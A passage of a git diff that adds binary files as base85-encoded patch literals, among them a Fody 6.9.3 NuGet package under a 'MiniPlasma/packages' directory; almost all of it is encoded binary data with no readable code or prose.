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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/Fody.6.9.3.nupkg b/MiniPlasma/packages/Fody.6.9.3/Fody.6.9.3.nupkg new file mode 100644 index 0000000000000000000000000000000000000000..2902ae46e9e411a72fb4fcb4552c62268e1c26c8 GIT binary patch literal 921204 zcmZshQ;aTL%&2GYv2EM7{f=$hwr$(CZQHhOV~=^hKj-4lNzTRUYI@VOY11ZsN%QNJJHkqk4#CJvK(SS5Pc2#37Y4_dk?@L zkY#WI-U1xH1$D4tLp}9^=ME|5zx2$t41Y{@iq<&Zh%u;9c775^1mZ#hHAEf;Mlej?W zhGw9@KtR{P|2J^}J7W(zTNfvL6C)R;f!HMmgdXAtcvV>fRBoG#R#6MpD$wE-w1I+f zV#gZ^Lvd>(xz3xmn*g~(bbBN>Z28yI3=cb=f2OB%M|amB^UKEYv(!cG6Un8Je`uqX zJGV(_(d<+wTz(!!O*`HuqzL}hev?%o+;ER}m**ekvPp6r$pk2;hr+JM2h1#9B$rT^ zYS{_S2c=1f1H@N>948W9RqIox`LR5v)!jwZXsG%Mt+?jaC!!U04NbD=+EC+TC0hHl zqI0$pNe$pz8eq-6;nA95dT^bbX^pQPX^?QgEK`EKNCmvw5&zOS(h@l4!HRkEfVV;n zXi$S|v)zMWNpFtV#_=IJtY+X7*lUYb)LXiJD|4r8Fcc%&E03g~y#eV?M!l!K9MdzrhoKzX`2@iH4R8C)+^G!A~f zJQ39mTRqM_BGi&XismbIp$#FKTu(}&pUf6;iYNE3ds`b)|rkHRTy8*hMUQWpVYb_xlAngA>X9FiICwf~GXBKuQ`v0jK zVLKZeJ6k$qYwH^?H+3Zq%-Y2q70uf3gArM4LB1u#f5Ku%_ZP*D=V#0wee?QpY@{-Z`3ek*)YJ`S17emqLJ}z8xVN9D3PF2Z%Zi4Apadvz{&i_O zbAO2fUV;AFK+0Vm0mztxQ!h`}MhVQ<{2kU&ezR&vp*>{&_EC!8wZ;B>251hN$hZYV z{f6-|_7dLH6G;&onv9{sUfFmvVGdA9xCnu>XG5D>rq4EmAemJ3NJ z?as7Ei^(T&-?INF2EesdBKS$^v^f825eIq+au*4UupYQOO=+r8+KLk{T5PAfP zbryq*HB>joK%Cf|@ZJI{jft*ehSVPbO}Xgex@lSr)=JIx4d-sx8wXvhG1r9LM+Gkv zbm*;lWZ7t~Y&o&kvygd;(e6{5&w87lwlBWbjAX6}WHe#6meCE-M?*5-931sqapf9F zWR7D(`gjz@f=AFLX{FCF>>J?iI@b30;mh*4d2~wtez^_G)2Aq(T^q+o6Ekw}OV#1d z&eIVL zx&V(E(Twn8@q2KMh`O76H>|)M-MGWghxZRm!waSsRE@f8g!1ymsf^ku%gI@CZ)U=b zwG`dGhPVbGcE#!#5Vs+a-ehV#WGNCyp~Fz^{o7a}{aZ!4dA$2bkm4T(?PnJ?=od~7 zM1-{AJh}D-Ts{8LH&P@*wd*3nI&Tl!7K?072o|L+Hr1`ml@ixC%Spu#RVOO3byl`E z=JYM>TDUi^>GDxSBMaLTh{9R(>eI^-Q$kL*+M$L0t%`>9egho8SR-t{F>pZi94SxQ zy*p8aPnQD=hWooych;LF5e)AVfd6*EVyBQYn=`>zkHVH7HXaNV1oV&>+%yeps(_yd zK*WMlTfqRzyXai4m{T@_7Dhnb5@vk9zzyqTzjl{}r{hIFdg#bNp`#z@DN@D48TtUG zR2k=0A|Cvj>!yrgDfGw|SP`YqNo$h6rY$W6*_UxY2025RxW|$H zBW!dzJK&r95ExL`)bC6Iz62p9O-XGn9KqnHu53LarZeJ1^Hv@>h@@A5zI+v2=+7iX zb0I@R86U2IFBJk|iS9vY^`w4I*DU74(IC%;V|ZF5Qw+$AyTHO)3K>2FA@U&Y&+SUW z7*=fu_$l7GB00f@w4Bi}>6dauJv&K@%=0GT zwS;QsXAdwzC?IJqPeKv%UHXq<=!9Z<5@VxCc-NAovXwJOkcMJID{KkW873PDEP!y{ zKT(9{8{zOqlAa?Awo>F0psK}nA{~px<4Tg4!w9}mMC7}Ia26^DUc;7?3nD{03R%pv zw}w-XIB`-1a3~8$3Fit`@(RZC6Gwj_x)+G;Ah0!k|zEDdPdK5 zW(fhXF3K(<4LThGiJ zIs`u?`_5bPUZ0XZCE^FTaRMI-aUy%_b56Tg@|!=eE@rS5KpZe6GCq}O&HtzCpw%|d zhr?;PXB3bZwlnYMLPnD`HCnOq)*!0c>zrGS}8w;K9?eTb@8rGH^1)jUqY{w(}b# zhMm9-YK=WAAM>0R75>~mtil!FS-Osxx*uGJ>C#%zEi9iiT<|%54kg#qIj1(v=?qIQ zDUI!X4N%^RSh+%60Pcs8FAT_G-T~8LXnGQ6he`cg|0Mi6L-Re~2ezXb<-Li&;+1*$ zBqr01B~M5zs;f&zZ;1_uS#KivcNEj~0Yc=j*M-S$K77%KYK=2rC z^gM+SGUSbfIa&deP)aZy*k!O}co?RDPJB2~E~E{>oO7YIluceSUyVjs|MgcCBVe#x zt{ghDaPr)}Ib+=#V5i?EU2Hn-Wf&W}QI2@#aM%qLJrU~>p zpzDn1xTHx!@In~8TOdY+xw2tNb8i>CH1DkpqH)i#{D^$tUYiB>fj{n;CSPigD$JR8e3xP5C=T zP-9WGf|4?{GMLjkRt(T3DCaZd3e=+zcrJ=-bWJ@R?mS#R9YPd}M}C&TR=$`(kUWK0 zBv;|BfRQ}e{H;0CJPQlDxt=phdG@@wa|m)!^FA$@Yk7?`PV}Rbq%4UeQ9_a8@t}&( zjqJ8#KHD~<2zRLYm_J))SGIU6@`PhNMTbi{srqUHhaGYx1&xKE0Y6@F9FaH7!3kL8 zmb&b*QMfTo0uAVHL|62<6=Yx9{b%?LpP^IIAmetaQko(d8Y>w+z~p!6TBSn*GB|4#*)d=w`fidbE`?6`R~ZQ5ja<*yCWYd@-ghC4qS3a)8+dSn#nUTTOZUez@5q=uRr7* zRBxfQn+oXoAAUmm4Zw`^^+htGBK;JdSm*Nwr{guH$B`CF<`0FpM$WSzt_YN%rF&`^ zdZvxv-7|j2%o7Fko|{km$x#qJL4{O+hqTnZrE4N|4j3+(bt5;7Az^6_5#AgKxHb#C z1zSNT161upi}h=u{M!g^T0td+vuF|ca5aGLfK*YM_n_R#>kISYt^M7=sG&Xv;oeO3 zMF*&yfp$TwDb8`p_p^dfL$>`F$8oDENd8C)|G50=C6&i=6mZ(-4Oon)-wt>MlPq%8 z7aihF0G~&gpRZ?c{fh-=28R_QyqbS-JBn|vHlD(Ad@GPI5ie%mjtmL5i9ERw&p+6Y z+y;}7;~(_owq%=}H2!pr)0bT??`T7#6yBTM0o|7jioD@AZvQ9~jjc_hMCn4xm>DR9 zIaLq*S0PccDo9GC5ui|PNTi?{p*n^lj;th)S9FC>y)+>opjvC7GMNpg6AdUaJmx9^ z)TFqYEW=bK7bOb;cA^p}ccovSL!JpJrJjupimO1j7&hIV-39eNtycm ze$6v@^eSef)R?H`Uk#l_tGR?rsXihX)nBkbj7tf^3|jOk3ZV!&Krcs7DvcdOMN&$E zgPhTZ+6_wr6|j#XnQW-cjXk94$O~U>a%w@Di|5a}=0J zwaRqk>2byZ&?L+nv~Iz+W7c}mP%Fb~MXmCMNk?UvOO@hPO6c^bL?JT4Qq}Tst>{Ay znE=5==-CK4nz0=-m@owlQFZ*16(PBD$wCv&9tPWTxXj8=q1YH~SO_ZX;QC&8VrsU2 z3{+yH8GEdvsDYu%)eOk6bakdLs!|{rh)}W-Dvfkbtkz-k`5?^1V&$V&l;i!Xf}LXO zC9pvf(TQl=d_X`DKy$luP$)%F7T`br)H6y$kbxFrv)ZzY;$@^zN1oH5CBDO$TIJX zp_depa8+YNvgS2%WS96%p;&<>g_Rj!yPOea#2Vci1}M{Gi0B{->3x21#|blE_f8_x zP)!`t|21u~a8{2`x6+@Ep3wXd!YNU-2xUPN{GIAe#-hGrj#uy-vN1xHRs__9D10|w zxYHT;PySRgDdbccK#zOJSM*w}n4kC-q01Pme_1qY1Jo9w9SdLnQ3`oK87emx1TXn& zXi-6LprCE54N}k;q<8?k=*4n~g!6l`P>xSV8)|4wtbGamRm-A;feapZnZzNTeLVG< z8h>Ez6e-gqGW9@fF!e5q&PPXO3mpj_tupq2-3lnMtSGo6yg9U96B|Wh(<$Uv&UDz)>(IN9dX zVxoHyu*T4UGdTPCkPPnE{{jkvhYh410cLxvm+a^&h_>5lC%v_dR-b92y_FQhB1y~; zBjfsFN`$CNFf6)7{m2ypMX6NEm7xdIH1Zcob+IPKpkNig(fX5V#gzY+KO7hfF&Khf zEuf4gS$C~rv!}-eW!YYVU{9P&`K1^J&wk*Lt&lbCRuTW5_JFe zCkIMTqagiZ83cJc0+!ezF^tZxK#up-y_^F`(n9Em9$p)o>lbQP4ef*>`y^{FXz>Q8 zpk{7DcNr)YXpl=9Xko)-@yfbGobv9Tc%mQ{Gd1M%;4xuB=q9NozX1;t&368KH|E3i6R=hWuC^=#Kca;iNEEO6RXDypE zwRMabIo+)i9R6aJb-z%DSq=>(;F!W9i(9#(ErqT1AGM&6hVdIL68AoH@CWu)I$chg85W}N+A#sC z0s;8d$7TY5dw7E-HDk*-iQfr2u&6K|>sBDje{l4#vS2e*Jfk^9A~3B87ex`FD^~pY zKxPQPH7Xptr-R;lz%mhTia*F&P_^Me6WlIRboLSiz1TYiZuhvjM*LQ>pvLuvf6kI1 zcm@bUG_m{Y#mUUkfb5@LQVJ+biePSCSSlbb(&cDP7IWkTG!E1XOfjnef(+ObsShH7 z>HP#sDKH!?GMy+kMzruFjtN0wbr+>I6i=pF6t>)Vu{VieO>GuZo>R4-`4fR-EQ$aM ztS)hF4{rsj7-Wa({@+x|uy@M^L6qEwdd0jaC%%DO^Ez(%i@Wk}#fqNDx48D8*WI7o zk?vM-(YZ}VY4vK~MNi?&3F|--eke&HISy=i7OY{F8(dml6G0GrXRIf(0e%nC>?3DI zSa>~Ux|K3>CK>M|M-eGgQ&ZCcaV`3{)+g16U(E|Mxp}Vfl%N_Q@2{^mST{oYDJY@l zz9iDD5p0e{cORG1Q$wOXxmjzSrLzIo)u^NW$An)!n&Sm@^~J>N23(k6^(B`lxGH2) zCx9rjk$yiA=kN%qg_@fH$^KewJ#9TLrqruhC1(sS=Pm+A+%m-C#R16wyLbH)u9~lw(Jysr+FOJ(v0O(i|v!la0zfP zI|JKnE!RH22HV4ut&50%WXmMCn;#5hg%guyjZQxa2GnI<&f}H^e9PoExmql*({>eV zKc-xpsLHoT(|XU|7R%XU86|!ZGRR3ocC$tA_w>c@t2n(r0sRcFEO}r#ta09QLedv~ zvf+KE;5tJ?McdinMxqC`4RGYfmGKJ26#cA}eiX#!L|=F`#%grfvQJdC^XyBE)OQ?jt(`#C1dY9)N$9uuX=YLo|R zd21$@<(3#1hQWD^s_|jYj^^%AV){0GP`r?J2TS6~qiu1;V z0yHw_)(VTUQi3E*-tztKKaL^KYFwSs{G{b;EBUP6zmM7^+}Q2B-d-BVMn<0LJ??5* z{9Z2y^D_5i%;dyuW`0bja34Zcsn=}7Gq9UQnhz>}!?LD^UfbX3D0};MZu8c_^-!*B zmfj$3@Zl_aih0IOcBo(Hj~$!Y?oUeMirhlwN_=4-#WgbWu6~TnretY-uQ@wV#_Ts< z-#|o2%MO1=_R6d>LF_6nIB9h0;J|du=3Us94$^2pMxn`oe{%iHP=z|=>C_^f^sF~K zrL*==K0S2MV_^RAX=<7Vd}r-Up;9@@YYHiM?Zb`hdlU>HiG9Q^wOjPnL0JD9T090H zFR!0}%R=Bz(M(8REg8pAFcwHNZIG^7Ij6v{?e6{qXt&NNj)4 zJ;=UZ#oe|0`HUwa$`PjzRp@35YMYC0K6-oR87+qn2zZF`7&N^$MjV}oIm zN_CTQ!Y*J;yUI%K=+P;Scf+&r>trSF1Q@KQK~MARN_01@xs&(l+w~t39E>_w(Q3x6 z-NV3-#+YWDM`|wTjj6nFO|DC2O+IV(QJqN&m0K^pUE9ihzS)sgnmlS`zq04!aL^NI zWuLiwnHjXzPQt&s8E-V4sFbvmG`m7Kr2?l{mxK<_&quahSdJE3lIMJV<>M2sSIF9B zvRm-ij|JXO7f6g?I`$@9T#38mp5yH5^F&2mKQ{%pgQ6ie2UmQyk9AzG+&1TJ`@6fi zo>%m1#`v zJ~8LY%!J(LoVMz^r)TN7fVAy9h&yfFH+dqCcgFdeN@ry{&G^TUmv9$)Gq4*)7&Um_ zLoG(fxAaP#xj|p|q#f6{IUl|f)#Waijn~hnHvaB{ty_+X4nlP&ic|gF_dyxE!!TV( zx}43k)sES+wHpU-rq`eO6GS)byKbdT(Vr3CU4zZU2%|W3xsNji_kXopQm9hMj~}}+ zyz7i_9-oyxQj^~lQ#FU+H?poB>38=pL}%?Q_sMZO*_;NfOSl}&U%GO%zxEgX$Jy*s zdvubOe7^dIanrC(g={biJiZyaNtyG@Vh1&sISjrsS8!rrxmo-t##5_W)veHN!MG~o z&fqt3$D!`(!>~^c`@yXRl=s{fVp(epE%BNXq&efS+Aa&(=?scW9-roxoj@$ z3|T4SoT8(7N^RR6TPxM0OlLK?iei)be#!Q3H9a@bI*pKbJ=_eL?q&TBy8yeT@a%rl za60R~JEf>)eRjj-nSB1q)6$cEy=)dubEtY1?_3&d!oDVU)8lSGww77h0XBo*%I@HQ zwXJ=Xn#h&&0+R@D(#^qDl0dnxM(~^7bmTYPFT3`^DyU&^+UgS`F^| zwo>~=F9J(F&dd7Is`|jh-Q$kiR6*kQx=3F^^t0Nft+#S#6u^zqN1V`||u4G*=N=fyh2b3-cKF0I#e5A@tv9FQbMh z|E_7VSmZR;4jCDghh zmd2bvX3Of9UiK~{J)b$!-$N;t)oa7Lv$VwgEm(6aK~`y(*Yov0Wu%DjaLiVT%*2OF z>EHeIWCSPF5<~Yr}nMuc6HheeD5x6W9W2f z+_zJWSEOuqqo()#fuMaq`{;ejtw5OjVa=P>{;N=Gf_dK~-gYJZneYMHyUeQ3DUj?)jsFXJ$D7f2Vr;SqzwNzuU5}rs*l8~u zvTx3mANN;_`_>>`=_2uFqiyuGI3&0Gu-j`o+@fMPqwa2bn;T~soAWgKHF_yoIIdma z_EB_B4$;kRhZ+gzx<4n0oxdP7)74hf*Z2akCHu3Kd42bFnznzyy=B>jd&fm|68XFw z42h~#H^Zxh(|UVzhZ>RdVw>m2WpjP4<)Xz@!b}$KATi%7@8LVbV{OR^G?Eof@tG+f!dsbH2S>)-)$2rmd&lL+|YM(CUG|Uhun|Hd*$r z!GHP8_C1(&Vt}8%)3@@4$wJ}raA*_(XDgHS+Q(P7RMn#ekjvrnS|e)_{cq{}#BTld zw%DvimeSS3c|HI%l~XR}N117Y^*zlzaWqlUxvAVeUB=rwfXC9^t}x3l&h}l3+sf}T zzrg)`qVlTY&FOz=cVJ@dc_>^*4lR+}JAWgsewegyGE=xKde(*PbjLC^H5QdME%@%{ zMnoj3y4%ji-mZ8Om7U!D2>M1a5Ayq3_WhHd>fdEXr@8;ONHM#r*;{))Y{|7^zp(aP zD3;#afE;+)p+e4iga`3%FXTK(*Znu_QF@&5HHHX`482xk-ofd*T7BWmjEv!GC}e!; zSjWBB7PVDx9Y|!q@w6&*GQBRE0*MI;zPgF-VzgD$lG7dIwRxc57K=FMb;_km`&KnE zZA&i3f10ZrteuO;%~j!kK-W)W0bQ!SbDY?JzNt~evsUf$St%dKQucEd_hevN)4}TA?38zR6RxWb8Vof=G2k=oNa#|A?9I z`)bpT$a05}Na>x(jR&>Ad+#D$%_@0Z%La~jMqR7UDQE^l|mwFx@c9)&s*3b7H+H8Yb(gquiDz{lh-Pg+ z3@xQ8LnLiHugqn&Ipde;$(}`1(-U`WYIfi1T3b8eYjQI^v^c#?w#k#W zvq4-DG}o%nJzA8Ml5^o221^a>nA7=*qH(uU$(w1gzA#JZGFnCT>0+$?@YPDD0 z^P3A9gBzl59<-*Bhfv;h-8*P5jt6fvJBh+`KhNFwZ>M!5U3a?@F?z;`4tk3%tC#!5 zlWv@6+-5v)@jHfwHy_k4=+N98d>+^feycwVv~4qosFcG=_;R}wooui?dWn3Np_6%YN@bfp zzK(A{vBkA2E6tXR_%D&@b05>2T0S>%PMB?xMsBtmJhpnWS0{5hH_5J6qoJl|VAXW# zPETLML&!hOcE9(_4rZCPvE8k$gE~CXnb%A&DyPx9UlOg9z@8kEdvm%KX!E<)C#P^; zvDWp8DnFmzdM`I@QMWo!*A3tOi(-td;A9SYsWB;i8R+cKwPRARl{8DR8+ovOuHTbZ zZmFD?_(cXrDwW1x59sedFhlY18&7p|y89^b(HHe{RfA zfr3XfzkOY4%6R8tl0!d$V}yJBr9>#p!S_Y-A3pSU3U#*2p4a2Tz1Q-Lx?S1c2KJag zuFV?W)NtjAf_UI#*m;gdS$Bf4s&V&_3Aetn=!w7d5<^&#+R-T?Yvbk93{&b1nZPf*} z>W@#VvW67aC`Q5>KD3|!4lsN*qnikU&E&@s@;kVCXMINdJ*`dvnd+;1TC_#25gg>D#RljGh&II4NP`*!cKPU20@992OePTteddZ*NYcf8& zU{5y+4E7xYP6u)ULW1PrbTE>j1qkuX0$T}k!b1LFgLyCvxdsKnU`V__*2TaPgvrq! zC?2zO0@j@KWZOx5vBLZ>zf06AzgzvC^}j9szkc6+PapjMOUI%9N5@q!v#o)d{)fd4 z0s-Ot|L8bz6Ki`DN2mY64jL}ih*-(`n^d^`8 zfaQRInF)w04Uo3X&}db&q*Yt*N!6v4rqr08+VqfFM(y0*Y`Qj0`_`>p`Irhf&)xld z`+6^N@73GlJad`#$XVk&oAEcQ?FLl_${)Ss{{?YJOs+GyU(>UBv$^gVgP6nGmGM-- z`nFvx?vRaZnYhV3YGqfqx{isdHMMFPy0o=u=EANyQ9-VOt<@AWb$1t!EH}~y?KhVI z-CC69?taeo*IkvTlyU&njW7Pj>YI@IWTdB}_FYI_(ORdd|A^W_ezJP8W-R{xl-&*J zjm7>^ri>Bl#_D`aB!F?i`dED8$3WgoTRG$MyGX#t>^EcMMq@oROVs!}6u$5qo^fYHvu&E~ 